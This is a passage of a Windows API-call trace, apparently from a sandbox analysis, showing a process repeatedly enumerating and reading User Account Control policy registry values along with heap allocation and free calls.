lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.291] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.292] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.292] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x123c4c0, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x123c4c0*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.292] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c4c0) returned 1 [0256.292] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.292] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123b8e8 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b900 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b910 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c4c0 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b920 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c5e0 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b9b8 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c598 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123b9c8 [0256.293] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b8e8) returned 1 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b8e8 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c550 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b9f0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c508 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba00 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c478 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba10 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c430 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x30) returned 0x123ba20 [0256.293] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9c8) returned 1 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b9c8 [0256.293] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3e8 [0256.293] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123b9d8 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3a0 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba58 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c358 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba68 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba20) returned 1 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba20 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123ba30 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d270 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d280 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.294] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.294] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b900) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c4c0) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b910) returned 1 [0256.294] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c5e0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b920) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c598) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9b8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c550) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b8e8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c508) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9f0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c478) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba00) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c430) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba10) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3e8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9c8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3a0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9d8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c358) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba58) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba68) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba20) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123ba30) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d270) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d280) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.295] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.295] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.295] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x123c2c8, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x123c2c8*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.295] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.295] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.295] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.295] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d280 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d270 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d290 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2a0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123b8e8 [0256.296] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2b0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2c0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2d0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c358 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x30) returned 0x123b9b8 [0256.296] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b8e8) returned 1 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.296] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3a0 [0256.296] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3e8 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c430 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c478 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c508 [0256.297] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123b9b8) returned 1 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d330 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c550 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d340 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c598 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c5e0 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, 